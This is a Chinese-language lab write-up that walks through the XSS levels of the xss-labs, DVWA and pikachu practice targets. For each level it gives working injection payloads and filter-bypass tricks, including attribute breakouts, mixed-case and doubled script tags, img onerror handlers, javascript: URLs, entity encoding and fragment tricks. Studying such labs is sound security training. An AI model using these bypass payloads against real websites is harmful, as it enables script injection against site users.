pikachu/DVWA/xss-labs 靶场1-10关wp

242 阅读3分钟

xss-labs

第一关

在URL修改参数

image.png

第二关

查看源码看到搜索的值放到了input标签value中,使用>闭合

image.png

第三关

和第二关类似,但>无法闭合,查看响应发现>被转义,发现单引号没有被转义,使用单引号来闭合

image.png
构造代码如下

' onmouseover=javascript:alert(1) '

第四关

和第三关类似,不过这里是用双引号闭合,构造代码如下

" onmouseover=javascript:alert(1) "

第五关

发现on和script标签会被强制使用下划线分隔,使用伪协议构造代码如下

     "><a href=javascript:alert(1)>

第六关

发现on、href和script标签都会被强制使用下划线分隔,使用大小写绕过,构造代码如下

"><sCRIpt>alert(1)</SCRIpt>

第七关

发现script标签被过滤掉,使用双写绕过,构造代码如下

"><sCRscriptIpt>alert(1)</SCRscriptIpt>

第八关

发现输入的值被放到了a标签的href值,但是script被强制使用下划线分隔,尝试双写大小写绕过也失败,尝试使用编码,构造代码如下再进行HTML实体编码

javascript:alert(1)

第九关

查看响应发现输入的单引号、双引号、>都被转义,javascript被强制使用下划线分隔,查看源码发现我们输入的内容必须有http:// ,并且尝试绕过javascript,构造代码如下

javasc&#114;ipt:alert('http://1')

第十关

查看源码发现三个被隐藏的输入框,根据它们的name构造传值,让他们type改变,发现接收的是t_sort对应的输入框的值,同时参数中的<和>都会被删除。构造代码如下

?keyword=111&t_sort=" type="text" onclick="alert(1)

DVWA

XSS(Reflected)

low

构造代码如下

<script>alert(1)</script>

Medium

大小写绕过,构造代码如下

<sCRIpt>alert(1)</sCRIpt>

high

大小写绕过和双写绕过都失效,尝试使用img标签,构造代码如下

<img src=1 onerror=alert(1)>

XSS(DOM)

low

构造代码如下

?default=English<script>alert(1);</script>

Medium

查看源码发现script标签被过滤了,构造代码如下

?default=English </option></select> <img src=1 onerror=javascript:alert(1)>

high

查看源码发现加了白名单过滤,使用#注释掉代码,使内容不会发送到后端,但会被前端执行,构造代码如下

?default=English #<script>alert(1);</script>

XSS(Stored)

low

在message框输入,构造代码如下

<script>alert(1)</script>

Medium

查看源码发现name值只做了简单过滤,并且script被过滤了,但是允许标签,尝试大小写绕过,修改name的最大长度,构造代码如下

<sCRIpt>alert(1)</sCRIPt>

high

查看源码发现name值只做了简单过滤,并且script被过滤,大小写绕过和双写绕过都失效,尝试使用img标签,修改name的最大长度,构造代码如下

<img src=1 onerror=alert(1)>

pikachu

反射性xss(get)

输入发现输入框长度过短,修改长度,构造代码如下

<script>alert(1)</script>

反射性xss(post)

通过爆破获取密码登录,构造代码如下

<script>alert(1)</script>

存储型xss

构造代码如下

<script>alert(1)</script>

DOM型xss

查看源码发现输入值放到a标签里面,使用'闭合,构造代码如下

' onclick="alert(1)"

DOM型xss-x

和上关类似,构造代码如下

' onclick="alert(1)"

DOM型xss-x

和上关类似,构造代码如下

' onclick="alert(1)"